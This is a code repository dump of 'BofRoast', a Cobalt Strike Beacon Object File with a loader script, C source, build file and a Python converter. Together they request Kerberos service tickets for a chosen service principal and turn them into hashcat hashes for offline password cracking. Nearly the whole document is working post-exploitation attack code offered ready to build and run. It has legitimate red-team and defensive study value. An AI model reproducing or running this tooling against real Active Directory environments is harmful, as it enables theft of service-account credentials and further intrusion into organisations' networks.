Repository: cube0x0/BofRoast Branch: main Commit: 6354eeefc052 Files: 9 Total size: 8.6 KB Directory structure: gitextract_9vkk7wb7/ ├── BofRoast/ │ ├── BofRoast.cna │ ├── Makefile │ ├── apreq2hashcat.py │ ├── compiled/ │ │ ├── kerberoast.x64.o │ │ └── kerberoast.x86.o │ ├── kerberoast.c │ └── lib/ │ ├── beacon.h │ └── libc.h └── README.md ================================================ FILE CONTENTS ================================================ ================================================ FILE: BofRoast/BofRoast.cna ================================================ #Register command beacon_command_register( "kerberoast", "kerberoast a given ServicePrincipal", "Synopsis: kerberoast " ); alias kerberoast { local('$barch $handle $data $args $target_spn'); println(@_); # figure out the arch of this session $barch = barch($1); # read BOF file $handle = openf(script_resource("compiled/kerberoast $+ .$barch $+ .o")); $data = readb($handle, -1); closef($handle); if(size(@_) == 2) { $args = bof_pack($1, "Z", $2); } else { berror($1, "Incorrect usage!"); berror($1, beacon_command_detail("kerberoast")); return; } # btask($1, "Executing BofRoast by @Cube0x0"); beacon_inline_execute($1, $data, "go", $args); } ================================================ FILE: BofRoast/Makefile ================================================ CFLAGS := -Os -s CXXFLAGS += -w COMPILED := compiled CC_x64 := x86_64-w64-mingw32-gcc STR_x64 := x86_64-w64-mingw32-strip CC_x86 := i686-w64-mingw32-gcc STR_x86 := i686-w64-mingw32-strip RM := rm kerberoast: $(CC_x64) -o $(COMPILED)/kerberoast.x64.o -c kerberoast.c $(CFLAGS) $(CXXFLAGS) $(STR_x64) -N kerberoast.c $(COMPILED)/kerberoast.x64.o $(CC_x86) -o $(COMPILED)/kerberoast.x86.o -c kerberoast.c $(CFLAGS) $(CXXFLAGS) $(STR_x86) -N kerberoast.c $(COMPILED)/kerberoast.x86.o clean: $(RM) $(COMPILED)/*.o ================================================ FILE: BofRoast/apreq2hashcat.py ================================================ from pyasn1.codec.ber import decoder from impacket.krb5.asn1 import * import sys import base64 if __name__ == '__main__': if len(sys.argv) < 2: sys.stderr.write("Usage: %s \n" % (sys.argv[0])) sys.exit(-1) with open(sys.argv[1], 'rb') as fd: fd = fd.read() #if base64 blob, decode. if((fd[-1] == 0x3d) or (fd[0] == 0x59)): # 0x3d == '=', 0x59 == 'Y' fd = base64.b64decode(fd) #find AP_REQ offset i = 0 while(fd[i] != 0x6e): i += 1 #parse data ap_req = decoder.decode(fd[i:], asn1Spec=AP_REQ())[0] service = ap_req['ticket']['sname']['name-string'][0]._value host = ap_req['ticket']['sname']['name-string'][1]._value domain = ap_req['ticket']['realm']._value encType = ap_req['ticket']['enc-part']['etype']._value hash = ap_req['ticket']['enc-part']['cipher']._value[:16].hex().upper() + "$" + ap_req['ticket']['enc-part']['cipher']._value[16:].hex().upper() print("$krb5tgs${0}$*{1}${2}${1}/{3}@{2}*${4}".format(encType, service, domain, host, hash)) ================================================ FILE: BofRoast/kerberoast.c ================================================ #define SECURITY_WIN32 #include #include #include "lib/libc.h" #include "lib/beacon.h" DECLSPEC_IMPORT SECURITY_STATUS WINAPI SECUR32$AcquireCredentialsHandleW(SEC_WCHAR*, SEC_WCHAR*, ULONG, PLUID, PVOID, SEC_GET_KEY_FN, PVOID, PCredHandle, PTimeStamp); DECLSPEC_IMPORT SECURITY_STATUS WINAPI SECUR32$InitializeSecurityContextW(PCredHandle, PCtxtHandle, SEC_WCHAR*, ULONG, ULONG, ULONG, PSecBufferDesc, ULONG, PCtxtHandle, PSecBufferDesc, PULONG, PTimeStamp); WINIMPM BOOL WINAPI CRYPT32$CryptBinaryToStringA(CONST BYTE*, DWORD, DWORD, LPSTR, DWORD*); DECLSPEC_IMPORT SECURITY_STATUS WINAPI SECUR32$FreeCredentialsHandle(PCredHandle); WINBASEAPI void* WINAPI MSVCRT$malloc(SIZE_T); BOOL RequestApREQ(wchar_t* spn) { CredHandle hCredential; TimeStamp tsExpiry; SECURITY_STATUS getHandle = SECUR32$AcquireCredentialsHandleW( NULL, MICROSOFT_KERBEROS_NAME, SECPKG_CRED_OUTBOUND, NULL, NULL, NULL, NULL, &hCredential, &tsExpiry ); if (hCredential.dwLower == NULL) { BeaconPrintf(CALLBACK_ERROR, "AcquireCredentialsHandleW failed: %S\n", getHandle); return FALSE; } CtxtHandle newContext; SecBuffer secbufPointer = { 0, SECBUFFER_TOKEN, NULL }; SecBufferDesc output = { SECBUFFER_VERSION, 1, &secbufPointer }; ULONG contextAttr; TimeStamp expiry; // Initiate outbound security context via credential handle SECURITY_STATUS initSecurity = SECUR32$InitializeSecurityContextW( &hCredential, NULL, (SEC_WCHAR*)spn, ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE | ISC_REQ_MUTUAL_AUTH, 0, SECURITY_NATIVE_DREP, NULL, 0, &newContext, &output, &contextAttr, NULL ); if(output.pBuffers->pvBuffer == NULL){ BeaconPrintf(CALLBACK_ERROR, "[-] InitializeSecurityContextW failed: %S\n", getHandle); return FALSE; } DWORD destSize; //PBYTE ticket = (PBYTE)output.pBuffers->pvBuffer; //LONG size = (ULONG)output.pBuffers->cbBuffer;` //BeaconPrintf(CALLBACK_OUTPUT, "Token buffer generated %D bytes\n", size); // base64 encode BOOL b64alloc = CRYPT32$CryptBinaryToStringA( (CONST BYTE*)output.pBuffers->pvBuffer, (DWORD)output.pBuffers->cbBuffer, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &destSize); LPSTR ticket = (LPSTR)MSVCRT$malloc((SIZE_T)destSize); BOOL b64read = CRYPT32$CryptBinaryToStringA( (CONST BYTE*)output.pBuffers->pvBuffer, (DWORD)output.pBuffers->cbBuffer, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, ticket, &destSize ); if(b64alloc && b64read){ BeaconPrintf(CALLBACK_OUTPUT, "[+] Got Ticket! Convert it with apreq2hashcat.py"); BeaconPrintf(CALLBACK_OUTPUT, "%s", ticket); }else{ BeaconPrintf(CALLBACK_ERROR, "[-] Failed to b64 encode ticket"); } //cleanup SECUR32$FreeCredentialsHandle(&hCredential); return TRUE; } void go(char* args, int len) { datap parser; BeaconDataParse(&parser, args, len); wchar_t* targetSPN = (wchar_t*)BeaconDataExtract(&parser, NULL); BeaconPrintf(CALLBACK_OUTPUT,"[+] Target SPN: %S\n", targetSPN); RequestApREQ(targetSPN); //RequestApREQ(L"http/win2016.htb.local"); } ================================================ FILE: BofRoast/lib/beacon.h ================================================ /* * Beacon Object Files (BOF) * ------------------------- * A Beacon Object File is a light-weight post exploitation tool that runs * with Beacon's inline-execute command. * * Cobalt Strike 4.1. */ /* data API */ typedef struct { char * original; /* the original buffer [so we can free it] */ char * buffer; /* current pointer into our buffer */ int length; /* remaining length of data */ int size; /* total size of this buffer */ } datap; DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); DECLSPEC_IMPORT int BeaconDataInt(datap * parser); DECLSPEC_IMPORT short BeaconDataShort(datap * parser); DECLSPEC_IMPORT int BeaconDataLength(datap * parser); DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); /* format API */ typedef struct { char * original; /* the original buffer [so we can free it] */ char * buffer; /* current pointer into our buffer */ int length; /* remaining length of data */ int size; /* total size of this buffer */ } formatp; DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); /* Output Functions */ #define CALLBACK_OUTPUT 0x0 #define CALLBACK_OUTPUT_OEM 0x1e #define CALLBACK_ERROR 0x0d #define CALLBACK_OUTPUT_UTF8 0x20 DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); /* Token Functions */ DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); DECLSPEC_IMPORT void BeaconRevertToken(); DECLSPEC_IMPORT BOOL BeaconIsAdmin(); /* Spawn+Inject Functions */ DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); /* Utility Functions */ DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); ================================================ FILE: BofRoast/lib/libc.h ================================================ /* * *grumble* *grumble* BOF files don't have access to a libc. * So, these are quick implementations of some stuff we need. */ // Credits: https://github.com/rsmudge/CVE-2020-0796-BOF/blob/master/src/libc.c #include #include void mycopy(char* dst, const char* src, int size) { int x; for (x = 0; x < size; x++) { *dst = *src; dst++; src++; } } char mylc(char a) { if (a >= 'A' && a <= 'Z') { return a + 32; } else { return a; } } BOOL mycmpi(char* a, char* b) { while (*a != 0 && *b != 0) { if (mylc(*a) != mylc(*b)) return FALSE; a++; b++; } return TRUE; } ================================================ FILE: README.md ================================================ # BofRoast Beacon Object File repo for roasting Active Directory ### kerberoast Kerberoast a given Service Principal ![](Images/kerberoast.PNG)